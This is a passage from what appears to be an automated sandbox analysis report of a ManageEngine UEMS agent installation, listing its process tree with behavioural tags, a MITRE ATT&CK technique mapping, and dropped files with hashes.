                    • Checks SCSI registry key(s)
                    • Suspicious use of SetWindowsHookEx
                    PID:3288
                  • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\secaddoncrashanalyser.exe
                    bin\secaddoncrashanalyser.exe
                    3⤵
                      PID:5260
                  • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe
                    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcinventory.exe" -s postnotify SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ SYSTEM 0 1
                    2⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Reads the TCP/IP host and domain name from the registry
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of WriteProcessMemory
                    PID:1632
                    • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\metroapps.exe
                      metroapps.exe
                      3⤵
                      • Drops file in Program Files directory
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • System Location Discovery: System Language Discovery
                      PID:1668
                    • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcuninstallsw.exe
                      bin\dcuninstallsw.exe
                      3⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Reads the TCP/IP host and domain name from the registry
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of SetWindowsHookEx
                      PID:3176
                  • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DCProcessMonitor.exe
                    DCProcessMonitor.exe
                    2⤵
                    • Executes dropped EXE
                    • Reads the TCP/IP host and domain name from the registry
                    PID:4196
                  • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe
                    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"
                    2⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Reads the TCP/IP host and domain name from the registry
                    • System Location Discovery: System Language Discovery
                    • Modifies data under HKEY_USERS
                    PID:4828
                  • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe
                    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"
                    2⤵
                    • Executes dropped EXE
                    • Reads the TCP/IP host and domain name from the registry
                    • System Location Discovery: System Language Discovery
                    • Modifies data under HKEY_USERS
                    PID:3752
                  • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe
                    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"
                    2⤵
                    • Drops file in Program Files directory
                    • Reads the TCP/IP host and domain name from the registry
                    • Modifies data under HKEY_USERS
                    PID:6064
                • C:\Windows\system32\wbem\WmiApSrv.exe
                  C:\Windows\system32\wbem\WmiApSrv.exe
                  1⤵
                    PID:664
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4764 -ip 4764
                    1⤵
                      PID:2852
                    • C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\uesAgentService.exe
                      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\uesAgentService.exe"
                      1⤵
                      • Executes dropped EXE
                      • Reads the TCP/IP host and domain name from the registry
                      • System Location Discovery: System Language Discovery
                      • Checks SCSI registry key(s)
                      • Suspicious use of WriteProcessMemory
                      PID:5212
                      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\driversetup64.exe
                        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\\bin\driversetup64.exe" -install "C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\\bin\driver\x64\Win10\DCFAFilter.inf"
                        2⤵
                        • Drops file in Drivers directory
                        • Drops file in Windows directory
                        • Executes dropped EXE
                        PID:5236
                      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\driversetup64.exe
                        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\\bin\driversetup64.exe" -start
                        2⤵
                        • Executes dropped EXE
                        PID:5488
                      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\uesFaUser.exe
                        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\\bin\uesFaUser.exe"
                        2⤵
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        • Checks SCSI registry key(s)
                        PID:5544
                      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\uesDevCtrlSummary.exe
                        -s ET_ENUM 9 2 "Unknown"
                        2⤵
                        • Executes dropped EXE
                        • Reads the TCP/IP host and domain name from the registry
                        • System Location Discovery: System Language Discovery
                        • Suspicious use of WriteProcessMemory
                        PID:5568
                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\devctrlaction64.exe
                          -c 9
                          3⤵
                          • Executes dropped EXE
                          PID:5848
                      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\driversetup64.exe
                        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\\bin\driversetup64.exe" -stop
                        2⤵
                          PID:4268
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall
                        1⤵
                        • Drops file in Windows directory
                        • Checks SCSI registry key(s)
                        • Suspicious use of WriteProcessMemory
                        PID:5336
                        • C:\Windows\system32\DrvInst.exe
                          DrvInst.exe "4" "0" "C:\Windows\TEMP\{979d9530-20e4-3c47-94ea-a07a929abb08}\DCFAFilter.inf" "9" "4ca28cc43" "0000000000000138" "Service-0x0-3e7$\Default" "0000000000000150" "208" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\driver\x64\Win10"
                          2⤵
                          • Drops file in System32 directory
                          • Drops file in Windows directory
                          • Modifies data under HKEY_USERS
                          PID:5368
                        • C:\Windows\system32\DrvInst.exe
                          DrvInst.exe "4" "0" "C:\Windows\TEMP\{e24fb4e8-822f-bc46-98ed-c73a5e9df90d}\MEARWFltDriver.inf" "9" "494795b4b" "000000000000014C" "Service-0x0-3e7$\Default" "0000000000000154" "208" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Public\Bin\win10"
                          2⤵
                          • Drops file in System32 directory
                          • Drops file in Windows directory
                          • Checks SCSI registry key(s)
                          • Modifies data under HKEY_USERS
                          PID:5852
                        • C:\Windows\system32\DrvInst.exe
                          DrvInst.exe "8" "4" "C:\Windows\System32\DriverStore\FileRepository\mearwfltdriver.inf_amd64_33949fe404711eb9\mearwfltdriver.inf" "0" "494795b4b" "0000000000000154" "Service-0x0-3e7$\Default"
                          2⤵
                          • Drops file in Drivers directory
                          • Drops file in Windows directory
                          PID:5956
                      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Public\Bin\EXE\MEARWService.exe
                        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Public\Bin\EXE\MEARWService.exe"
                        1⤵
                        • Executes dropped EXE
                        PID:4916
                      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Public\Bin\EXE\TelemetryService.exe
                        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Public\Bin\EXE\Telemetryservice.exe"
                        1⤵
                          PID:3400
                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Public\Bin\EXE\MEARWService.exe
                          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Public\Bin\EXE\MEARWService.exe"
                          1⤵
                          • Drops file in Program Files directory
                          • Checks processor information in registry
                          • Suspicious behavior: LoadsDriver
                          PID:5156

                        Network

                              MITRE ATT&CK Enterprise v16

                              Reconnaissance

                              Resource Development

                              Initial Access

                              Execution

                              Command and Scripting Interpreter

                              2
                              T1059

                              Visual Basic

                              1
                              T1059.005

                              Windows Command Shell

                              1
                              T1059.003

                              Persistence

                              Boot or Logon Autostart Execution

                              2
                              T1547

                              Registry Run Keys / Startup Folder

                              2
                              T1547.001

                              Create or Modify System Process

                              1
                              T1543

                              Windows Service

                              1
                              T1543.003

                              Power Settings

                              1
                              T1653

                              Privilege Escalation

                              Boot or Logon Autostart Execution

                              2
                              T1547

                              Registry Run Keys / Startup Folder

                              2
                              T1547.001

                              Create or Modify System Process

                              1
                              T1543

                              Windows Service

                              1
                              T1543.003

                              Defense Evasion

                              Modify Registry

                              3
                              T1112

                              Subvert Trust Controls

                              2
                              T1553

                              Install Root Certificate

                              2
                              T1553.004

                              Virtualization/Sandbox Evasion

                              1
                              T1497

                              Credential Access

                              Discovery

                              Peripheral Device Discovery

                              3
                              T1120

                              Query Registry

                              6
                              T1012

                              Software Discovery

                              1
                              T1518

                              System Information Discovery

                              6
                              T1082

                              System Location Discovery

                              1
                              T1614

                              System Language Discovery

                              1
                              T1614.001

                              System Network Configuration Discovery

                              1
                              T1016

                              Virtualization/Sandbox Evasion

                              1
                              T1497

                              Lateral Movement

                              Collection

                              Video Capture

                              1
                              T1125

                              Command and Control

                              Exfiltration

                              Impact

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              111a.zip
                              • Path C:\111a.zip
                              • Size 31.3MB
                              • SHA256 c47dabde07299374c844066f170198af5fad3e71a465bf7d23cb5efe5daa5b86
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              Agentinstalllog.txt
                              • Path C:\111a\Agentinstalllog.txt
                              • Size 3KB
                              • SHA256 80ff7008901fc06e3728b55f0d93febfe1a0fec74ad2ec609c84f715a1e2a962
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              DCAgentServerInfo.json
                              • Path C:\111a\DCAgentServerInfo.json
                              • Size 1KB
                              • SHA256 35cd7b4426ad21437488e165fc722a2787764442f54fd78ba9398a83ab835f39
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              DMRootCA-Server.crt
                              • Path C:\111a\DMRootCA-Server.crt
                              • Size 1KB
                              • SHA256 49138532e40cdb36b85c8fed682cda22f3de332c2c8305ccd6f20265631e3f07
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              DMRootCA.crt
                              • Path C:\111a\DMRootCA.crt
                              • Size 1KB
                              • SHA256 458f9634af74c465335a3a046e8bab9e69ab82f2535716220fad255ec89118c3
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              UEMSAgent.msi
                              • Path C:\111a\UEMSAgent.msi
                              • Size 31.8MB
                              • SHA256 92f68fc7f6d0f544a750bf67b4903d1a4062d1372b7f98ab5c2f698eb61359bb
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              UEMSAgent.mst
                              • Path C:\111a\UEMSAgent.mst
                              • Size 20KB
                              • SHA256 180195558475b32abedb88b3103c06ee464148809986b78de32d8fdba897c516
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              e590152.rbs
                              • Path C:\Config.Msi\e590152.rbs
                              • Size 58KB
                              • SHA256 47e7ec482b959fa0f41c9ec1e10cfc46f2f94325fde7eccdd450efcc7bb5161d
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              e590157.rbs
                              • Path C:\Config.Msi\e590157.rbs
                              • Size 546B
                              • SHA256 6e2e1b83eab2bdfbeb69a273faa07477be8fb673c16e4f4ad4ebd71968afd94b
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              Newtonsoft.Json.dll
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\BitLockerMgmt\bin\3\Newtonsoft.Json.dll
                              • Size 476KB
                              • SHA256 df763a4470fcbf6abb7da9aa6e1efe2b7116ea4e7c1cf240e07a70eae913fac1
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              Newtonsoft.Json.dll
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\BitLockerMgmt\bin\4\Newtonsoft.Json.dll
                              • Size 540KB
                              • SHA256 9a59c1b97a0d8460cbd73283ce67c263f08a870c7b3738314c6c119c69f690c5
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              client.p12
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\Certificates\client.p12
                              • Size 1002B
                              • SHA256 e0898bee782b1fa47debc0121b90e9c559cc6b196bce7e583e07c98747fbc42c
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              PocoCrypto.dll
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\4\PocoCrypto.dll
                              • Size 2.2MB
                              • SHA256 24208305449f9e0798f83bdac575747e2f059a5b6673fe95502dd124112f6fc1
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              devctrlaction64.exe
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\devctrlaction64.exe
                              • Size 446KB
                              • SHA256 c112f01eaa2cf47a40133c2d9bae75c13c8eab94ba2030e74ac49ea2aafdeff0
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              DCFAFilter.inf
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\driver\x86\Win10Debug\DCFAFilter.inf
                              • Size 2KB
                              • SHA256 3962be211204da037a79088049c952cb4636da1b78df49040e4d2adb90052356
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              7z.dll
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Internal\Bin\7z.dll
                              • Size 1.6MB
                              • SHA256 34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              Provider.txt
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Internal\Bin\ConfigFiles\Provider.txt
                              • Size 92B
                              • SHA256 edcce5386ef6d17a5622daeab82cdb321e56eb5e8312ef1a85e9ffb6524c000b
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              ServiceLogConfig.xml
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Internal\Bin\ConfigFiles\ServiceLogConfig.xml
                              • Size 337B
                              • SHA256 1328cd7254bc894df578aee4c59794b4307c36ee883b8308a79a33fd49520977
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              Target.json
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Internal\Bin\ConfigFiles\Target.json
                              • Size 34KB
                              • SHA256 df424907224bb4bfa008af1a50433d3462efa4a8a5b6642384ce559f4f0ba6b6
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              Whitelist.json
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Internal\Bin\ConfigFiles\Whitelist.json
                              • Size 6KB
                              • SHA256 ed278733daae7cb5cb27d77aff6fe53c30e2532b4d76f5989ba90f1c73e318fe
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              commonfile.txt
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Internal\Bin\ConfigFiles\commonfile.txt
                              • Size 4B
                              • SHA256 959ea2da1989ee52d5a0ec9679ae1a99b277e2505a167da808a7852c239274f8
                              • MD5 SHA1 SHA512
                              Submit Download

                              edr_detection.clp
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Internal\Bin\ConfigFiles\edr_detection.clp
                              • Size 401KB
                              • SHA256 79dfec2e21e9c8a45ae2f0ac67c034762ed58026fe3c5a7f807150ce99c86a66
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              edr_events.clp
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Internal\Bin\ConfigFiles\edr_events.clp
                              • Size 5KB
                              • SHA256 47d6258b9b47c94ab08af55efa960f3ec1ef9131d4dcac6bd8f16a6c94865af3
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              enc_detect.onnx
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Internal\Bin\ConfigFiles\enc_detect.onnx
                              • Size 647KB
                              • SHA256 80d42b863ca88bb78a46688195b5b6e841f61eba4a3d53da8d78aab5d4c83709
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              import_model.onnx
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Internal\Bin\ConfigFiles\import_model.onnx
                              • Size 5.7MB
                              • SHA256 b883e37b94528bc4314538300c6c21e3e512a9cbcd97e7ba782ec3cd6aa7ed4c
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              malware_detect.onnx
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Internal\Bin\ConfigFiles\malware_detect.onnx
                              • Size 2.3MB
                              • SHA256 0291bac4747ff1e3543345f772552e2c382d7cc8de7809ee256747fe0be77d62
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              naive_bayes_model.onnx
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Internal\Bin\ConfigFiles\naive_bayes_model.onnx
                              • Size 2.3MB
                              • SHA256 74f537c9c428b8304c0a213b000f5e5a77facd36cdb01aba4d1ee07aae6f9d92
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              EDR.man
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Internal\Bin\EXE\EDR.man
                              • Size 20KB
                              • SHA256 d08af209660810280d45ec0d9bf8fefe9df15799b0b06c721f21a8eb37cdb927
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              EDRAmsiProvider.dll
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Internal\Bin\EXE\EDRAmsiProvider.dll
                              • Size 1.2MB
                              • SHA256 c0641fd1fa65f7aba39ad546777d1dbcdd145e82f8eb47447e68d1e4a85f5433
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              EDRUI.exe
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Internal\Bin\EXE\EDRUI.exe
                              • Size 1012KB
                              • SHA256 023a7e43dfc9cf9de04133eef947823f77f262b409f0f16ae2010b3f33d0dec2
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              FileParserDll.dll
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Internal\Bin\EXE\FileParserDll.dll
                              • Size 349KB
                              • SHA256 144c8c119163370e388eebd878e6d0ec23e7a118f7f4cffcea3f0ed1fe267283
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              MEARWService.exe
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Internal\Bin\EXE\MEARWService.exe
                              • Size 7.2MB
                              • SHA256 12274dfd8c41f8093861def6c1dc9b22c47a768812d0103a641c2d31c0987459
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              MEEDREventLogResource.dll
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Internal\Bin\EXE\MEEDREventLogResource.dll
                              • Size 133KB
                              • SHA256 0bea9603d182098ef35604768ababe6a85cf8e6e8b81b13f36811163c6effaa8
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              MEEDRInferenceEngine.exe
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Internal\Bin\EXE\MEEDRInferenceEngine.exe
                              • Size 2.4MB
                              • SHA256 26370c9469d9152a5ba78819d01c7cf1dfc50b72312805a27983e61465cec7d4
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              MEEDRMCEngine.exe
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Internal\Bin\EXE\MEEDRMCEngine.exe
                              • Size 2.0MB
                              • SHA256 49aa4d1086c202e58a651cfe88bcf9e51c591dc64953f444728e08e80a4111d3
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              MLDll.dll
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Internal\Bin\EXE\MLDll.dll
                              • Size 353KB
                              • SHA256 7c5aa8bd45298ff401903570c8dea549a429267b619eda9068eb735dd5b1f3d2
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              MalwareClassificationDLL.dll
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Internal\Bin\EXE\MalwareClassificationDLL.dll
                              • Size 305KB
                              • SHA256 2d65008a426eb72460e4fae15f291596e5f0b1b3f26758c9ece422489db8474f
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              TelemetryService.exe
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Internal\Bin\EXE\TelemetryService.exe
                              • Size 3.8MB
                              • SHA256 dd7aab9a39f97b909cb8708423b0ab634b7e127ea0fa902a2eb93bff32c166bd
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              VssHelper.exe
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Internal\Bin\EXE\VssHelper.exe
                              • Size 397KB
                              • SHA256 a903a2a7ef92fa782c5dee97bfad283504e9d415f78697d1dfae4a10e81b263b
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              WinTrustedCertificates
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Internal\Bin\EXE\WinTrustedCertificates
                              • Size 947KB
                              • SHA256 129bbf25ff5fe8e69a52ce6ef390ad5356a2cb044b41f54b7def0dc8f4cb41c1
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              dclibxml2.dll
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Internal\Bin\EXE\dclibxml2.dll
                              • Size 1.2MB
                              • SHA256 c39f66aae4009a3074d0bd6c88a11c28d629f41b87c18e3007c20b6731e7674c
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              onnxruntime.dll
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Internal\Bin\EXE\onnxruntime.dll
                              • Size 7.5MB
                              • SHA256 1d288bc5cf880825e9aae4c9217799d092257dc6be2b1094d361a95d532a009a
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              MEARWZipUtil.exe
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Internal\Bin\MEARWZipUtil.exe
                              • Size 3.0MB
                              • SHA256 0dcc4782e8141ee43af3399ce53e9dad07962b53c771b5a672c54a77883833ad
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              MEARWFltDriver.inf
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Internal\Bin\win10\MEARWFltDriver.inf
                              • Size 3KB
                              • SHA256 6abdef9568f83803d07d67c3b984042f4b34e60324381382520b7601ea35824f
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              MEARWFltDriver.sys
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Internal\Bin\win10\MEARWFltDriver.sys
                              • Size 144KB
                              • SHA256 8f65278ad59e2c88707b9ec4e61819c06aac61c109845200f6e09f3297acbe2b
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              mearwfltdriver.cat
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Internal\Bin\win10\mearwfltdriver.cat
                              • Size 12KB
                              • SHA256 ff370bd017d038fd1b0d2536db051eb131e216a56020bc76a23400c4b4832b9c
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              MEARWSetup.exe
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Public\Bin\MEARWSetup.exe
                              • Size 18.5MB
                              • SHA256 0319b8610148abe1fa8db678a103783e72779b53480a27451d90edf770d4570c
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              RegConf.txt
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Public\Bin\RegConf.txt
                              • Size 35B
                              • SHA256 23e664022507ef0062d6200dbed3a382bef464a74b17ae1c6759947b0f25f215
                              • MD5 SHA1 SHA512
                              Submit Download

                              90b9d24c-5edd-3175-45e9-9b7254d56a79.tmf
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Public\Bin\TMF\90b9d24c-5edd-3175-45e9-9b7254d56a79.tmf
                              • Size 528B
                              • SHA256 5213fa5faae507b4996b28c52eb50bb5f06ef80426b136ea517658646786a29e
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              9e234734-152e-3823-fe7e-1b069641acdd.tmf
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Public\Bin\TMF\9e234734-152e-3823-fe7e-1b069641acdd.tmf
                              • Size 808B
                              • SHA256 d07fb737c90be645335a3d1447f425dbee8e53ef64dc5f6f8db1af950e8c9ade
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              c0b570d4-7c75-39ee-f5da-d5578c9e051f.tmf
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Public\Bin\TMF\c0b570d4-7c75-39ee-f5da-d5578c9e051f.tmf
                              • Size 5KB
                              • SHA256 568996b736760671d213ac966e81ca5d93d3caa3db08464795205746fb314b5e
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              c43811e3-df39-362d-6475-e12b8896e803.tmf
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Public\Bin\TMF\c43811e3-df39-362d-6475-e12b8896e803.tmf
                              • Size 2KB
                              • SHA256 e79f6d75f731f6ddcdd4c56430292fd9a67412aff5c6bc77f22c70518ca4d994
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              Standalone.zip5840.tmp
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\bin\Standalone.zip5840.tmp
                              • Size 15.4MB
                              • SHA256 4965befa29503df9ac47ce5b90460bad18f23605f39676f17571466f581a51cf
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              7za.exe
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                              • Size 802KB
                              • SHA256 f00836a63be7ebf14e1b8c40100c59777fe3432506b330927ea1f1b7fd47ee44
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              ClientAuthHandler.dll
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ClientAuthHandler.dll
                              • Size 2.3MB
                              • SHA256 7627f75435af64ab72991eb93996df3f61101e7b57cdf5a9d8d2e06d75b76aad
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              DevExe64.exe.config
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DevExe64.exe.config
                              • Size 174B
                              • SHA256 832208e81fb2ccabfa2ef289f89d47a2665b451a9550d597821b7d6f39373159
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              Lato-Bold.eot
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\Lato-Bold.eot
                              • Size 250KB
                              • SHA256 b91fc1ca55df440dc11354b32a39b45db663d24bb17b16dcb2e706330955b0d1
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              Lato-Medium.eot
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\Lato-Medium.eot
                              • Size 245KB
                              • SHA256 1727853b9469a665c3a5573e39503bc592a794d810aed5d03e9a8940f507823c
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              agent_binaries.7z
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z
                              • Size 14.6MB
                              • SHA256 6d5bf676a5800214126df113bbf68a8b3f6ea051ccfbf212c11927df89035082
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              ca-certs.zip
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ca-certs.zip
                              • Size 160B
                              • SHA256 7e6debd55c669504ffd364e96b1e539c5d6839472887ecd739ba79b155c62fa1
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              cfgUpdate.exe
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\cfgUpdate.exe
                              • Size 62KB
                              • SHA256 7232bb0e4842bf2f8a370dce70df60c72560416a5bb317650cf88afbd7acb820
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              cold_normal_msghldr.gif
                              • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\cold_normal_msghldr.gif
                              • Size 536B
                              • SHA256 fc7d90a7546fb0f8c8ad6e617f74d185be15f85aaf5d329919bc2776887bc9d1
                              • MD5 SHA1 SHA512 TLSH
